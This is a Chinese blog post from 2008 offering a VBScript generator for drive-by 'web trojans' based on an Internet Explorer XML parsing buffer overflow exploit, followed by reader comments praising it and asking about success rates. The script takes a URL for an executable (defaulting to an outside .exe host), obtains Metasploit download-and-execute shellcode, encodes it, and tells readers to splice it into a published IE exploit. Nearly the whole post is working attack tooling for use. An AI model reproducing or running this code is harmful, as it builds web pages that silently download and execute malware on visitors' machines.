百度空间 | 百度首页 
 
查看文章
 
MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day 网马生成器
2008年12月15日 星期一 上午 02:20

'code by lcx

On Error Resume Next
Exeurl = InputBox( "请输入exe的地址:", "输入", "http://www.haiyangtop.net/333.exe" )
url="http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"


Body = getHTTPPage(url)
Set Re = New RegExp
Re.Pattern = "(\$shellcode \=[\s\S]+</div></pre>)"

Set Matches = Re.Execute(Body)
If Matches.Count>0 Then Body = Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function


Function getHTTPPage(Path)
       t = GetBody(Path)
       getHTTPPage = BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
      On Error Resume Next
      Set Retrieval = CreateObject("Microsoft.XMLHTTP")
      With Retrieval
          .Open "Get", url, False, "", ""
          .Send
           GetBody = .ResponseBody
      End With
      Set Retrieval = Nothing
End Function

Function BytesToBstr(Body, Cset)
      Dim objstream
      Set objstream = CreateObject("adodb.stream")
       objstream.Type = 1
       objstream.Mode = 3
       objstream.Open
       objstream.Write Body
       objstream.Position = 0
       objstream.Type = 2
       objstream.Charset = Cset
       BytesToBstr = objstream.ReadText
       objstream.Close
      Set objstream = Nothing
End Function

Function URLEncoding(vstrIn)
   strReturn = ""
   For aaaa = 1 To Len(vstrIn)
       ThisChr = Mid(vStrIn,aaaa,1)
       If Abs(Asc(ThisChr)) < &HFF Then
           strReturn = strReturn & ThisChr
       Else
           innerCode = Asc(ThisChr)
           If innerCode < 0 Then
               innerCode = innerCode + &H10000
           End If
           Hight8 = (innerCode And &HFF00)\ &HFF
           Low8 = innerCode And &HFF
           strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
       End If
   Next
   URLEncoding = strReturn
End Function

set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing

wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换http://milw0rm.com/sploits/2008-iesploit.tar.gz里的shellcode1内容即可"


类别:每天一例 | 添加到搜藏 | 浏览() | 评论 (8)
 
最近读者:
 
网友评论:
1
2008年12月15日 星期一 下午 04:11 | 回复
膜拜LCX老师
 
2
2008年12月15日 星期一 下午 04:16 | 回复
这个shellcode会挂IE 挂IE,如果网马挂在某某客户端软件里面,就会崩掉客户端程序.
 
3
2008年12月15日 星期一 下午 05:07 | 回复
呵呵,会挂的。
 
4
2008年12月16日 星期二 下午 12:45 | 回复
好邪恶。。
 
6
2008年12月29日 星期一 上午 01:39 | 回复
metasploit上每一次生成的值都不一样的
 
7
2008年12月30日 星期二 下午 12:32 | 回复
呵呵,冰河洗剑的文章用到这儿了,感觉世界真小。
 
8
2009年07月18日 星期六 下午 04:12 | 回复
lcx版只能对vista?xp不行?成功率如何?
 
9
2009年08月03日 星期一 下午 05:11 | 回复
光头越来越厉害了啊
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu